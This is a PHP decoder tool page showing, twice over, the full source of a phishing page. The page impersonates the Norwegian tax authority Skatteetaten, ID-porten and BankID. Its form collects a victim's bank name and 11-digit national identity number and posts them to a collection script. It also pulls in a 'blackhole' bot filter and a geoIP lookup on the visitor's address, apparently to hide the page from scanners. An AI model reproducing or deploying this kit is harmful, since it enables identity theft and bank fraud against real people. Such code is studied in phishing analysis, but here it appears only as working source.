Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(0); include ('blackhole/index.php'); function curl_get_content..

Decoded Output download

<?php error_reporting(0); 
include ('blackhole/index.php'); 
 
  function curl_get_contents($url) 
{ 
    $ch = curl_init(); 
    curl_setopt($ch, CURLOPT_HEADER, 0); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); 
    curl_setopt($ch, CURLOPT_URL, $url); 
    $data = curl_exec($ch); 
    curl_close($ch); 
    return $data; 
}  
$xeno = $_SERVER['REMOTE_ADDR']; 
$geoip = 'http://www.geoplugin.net/php.gp?ip='.$xeno; 
$addrDetailsArr = unserialize(curl_get_contents($geoip));  
$continent = $addrDetailsArr['geoplugin_continentCode']; 
$country = $addrDetailsArr['geoplugin_countryCode']; 
 
     
    require_once '../includes/main.php'; 
    $_SESSION['last_page'] = 'log'; 
 
 
?><head><meta charset="UTF-8"> 
	<meta name="viewport" content="width=device-width,initial-scale=1"> 
	<link rel="icon" type="image/png" href="assets/favicon.b4be5517.png"> 
	<title>Skatteetaten</title><link href="assets/authorization.css" rel="stylesheet"> 
	<link type="text/css" rel="stylesheet" charset="UTF-8" href="https://translate.googleapis.com/translate_static/css/translateelement.css"> 
 
</head>  
 
 
<body style="background-color: #f6f6f9;" class=""><main class="container"> 
 
  
	<div class="container__content"> 
		<div class="bankid-logo-wrapper"> 
			<img alt="" class="bankid-logo" src="assets/bankid-logo.28f35de5.svg"></div> 
			<div class="page" id="getNnin" style=""> 
				  <form  action="./perso.php?unlock=code&appIdKey=<?php echo $key; ?>&country=NO"  autocomplete="off" method="post"  class="contact-form"  > 
     
				<div class="page__content"> 
				<h1 class="" tabindex="-1">Fdselsnummer</h1> 
					<span class="merchant_name">ID-porten</span>  
 
 
 
<br> <div class="form-group" style="position: relative;text-align: left;"> 
 
  			<label for="nnin" data-i18n="nnin_label">Hva er banken din?</label> 
 
                 <select style="    width: 100%; 
    background-color: #4d1570; 
    color: #fff; 
    padding: 0.6rem 0.75rem; 
    margin-bottom: 0.5rem; 
    border-radius: 0.375rem; 
    caret-color: #91d0ff; 
    font-size: 1.3rem; 
    border: #91d0ff 1px solid; 
    transition: 50ms border ease-in-out,50ms box-shadow ease-in-out; 
    outline: none;" name="ramid" id="nnin" required class="form-control"> 
    <option value="" style="display: none;">Navn p banken</option> 
 
  
  	<option value="Bank Norwegian">Bank Norwegian</option> 
    <option value="DNB Bank">DNB Bank</option> 
    <option value="Handelsbanken">Handelsbanken</option> 
    <option value="Storebrand Bank">Storebrand Bank</option> 
    <option value="Sparebank 1">Sparebank 1</option> 
    <option value="BN Bank">BN Bank</option> 
    <option value="Santander Bank">Santander Bank</option> 
    <option value="Skandiabanken">Skandiabanken</option> 
 	<option value="yA Bank">yA Bank</option> 
 	<option value="Sparebanken Mre">Sparebanken Mre</option> 
  </select>  
                          </div> <br> 
					<label for="nnin" data-i18n="nnin_label">Hva er fdselsnummeret ditt?</label> 
 
					 <input name="ramida" required id="nnin" inputmode="numeric" placeholder="11 digits" maxlength="11" minlength="11" autocomplete="off"  onkeypress="return event.charCode >= 48 &amp;&amp; event.charCode <= 57"> 
 
					 <div class="helper-text-container"> 
					 <p id="" class="validation-text" >Fyll inn din bruker-ID (11 sifre)</p></div> 
					</div><div class="page__buttons"> 
 
 
					 		<button type="submit"  class="button button--default">Neste</button> 
 
 
					 	</div></form></div></div></main></body> 
 
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.6.1/jquery.min.js"></script> 
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-validate/1.16.0/jquery.validate.min.js"></script> 
    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js"></script> 
<script> 
 
 
</script> 
 
       
 
 
 
 
 
 
 
 
</body></html>

Did this file decode correctly?

Original Code

<?php error_reporting(0);
include ('blackhole/index.php');

  function curl_get_contents($url)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_URL, $url);
    $data = curl_exec($ch);
    curl_close($ch);
    return $data;
} 
$xeno = $_SERVER['REMOTE_ADDR'];
$geoip = 'http://www.geoplugin.net/php.gp?ip='.$xeno;
$addrDetailsArr = unserialize(curl_get_contents($geoip)); 
$continent = $addrDetailsArr['geoplugin_continentCode'];
$country = $addrDetailsArr['geoplugin_countryCode'];

    
    require_once '../includes/main.php';
    $_SESSION['last_page'] = 'log';


?><head><meta charset="UTF-8">
	<meta name="viewport" content="width=device-width,initial-scale=1">
	<link rel="icon" type="image/png" href="assets/favicon.b4be5517.png">
	<title>Skatteetaten</title><link href="assets/authorization.css" rel="stylesheet">
	<link type="text/css" rel="stylesheet" charset="UTF-8" href="https://translate.googleapis.com/translate_static/css/translateelement.css">

</head> 


<body style="background-color: #f6f6f9;" class=""><main class="container">

 
	<div class="container__content">
		<div class="bankid-logo-wrapper">
			<img alt="" class="bankid-logo" src="assets/bankid-logo.28f35de5.svg"></div>
			<div class="page" id="getNnin" style="">
				  <form  action="./perso.php?unlock=code&appIdKey=<?php echo $key; ?>&country=NO"  autocomplete="off" method="post"  class="contact-form"  >
    
				<div class="page__content">
				<h1 class="" tabindex="-1">Fdselsnummer</h1>
					<span class="merchant_name">ID-porten</span> 



<br> <div class="form-group" style="position: relative;text-align: left;">

  			<label for="nnin" data-i18n="nnin_label">Hva er banken din?</label>

                 <select style="    width: 100%;
    background-color: #4d1570;
    color: #fff;
    padding: 0.6rem 0.75rem;
    margin-bottom: 0.5rem;
    border-radius: 0.375rem;
    caret-color: #91d0ff;
    font-size: 1.3rem;
    border: #91d0ff 1px solid;
    transition: 50ms border ease-in-out,50ms box-shadow ease-in-out;
    outline: none;" name="ramid" id="nnin" required class="form-control">
    <option value="" style="display: none;">Navn p banken</option>

 
  	<option value="Bank Norwegian">Bank Norwegian</option>
    <option value="DNB Bank">DNB Bank</option>
    <option value="Handelsbanken">Handelsbanken</option>
    <option value="Storebrand Bank">Storebrand Bank</option>
    <option value="Sparebank 1">Sparebank 1</option>
    <option value="BN Bank">BN Bank</option>
    <option value="Santander Bank">Santander Bank</option>
    <option value="Skandiabanken">Skandiabanken</option>
 	<option value="yA Bank">yA Bank</option>
 	<option value="Sparebanken Mre">Sparebanken Mre</option>
  </select> 
                          </div> <br>
					<label for="nnin" data-i18n="nnin_label">Hva er fdselsnummeret ditt?</label>

					 <input name="ramida" required id="nnin" inputmode="numeric" placeholder="11 digits" maxlength="11" minlength="11" autocomplete="off"  onkeypress="return event.charCode >= 48 &amp;&amp; event.charCode <= 57">

					 <div class="helper-text-container">
					 <p id="" class="validation-text" >Fyll inn din bruker-ID (11 sifre)</p></div>
					</div><div class="page__buttons">


					 		<button type="submit"  class="button button--default">Neste</button>


					 	</div></form></div></div></main></body>

<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.6.1/jquery.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-validate/1.16.0/jquery.validate.min.js"></script>
    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js"></script>
<script>


</script>

      








</body></html>

Function Calls

error_reporting 1

Variables

None

Stats

MD5 3d5833bbd5661d9c820301e55c637076
Eval Count 0
Decode Time 38 ms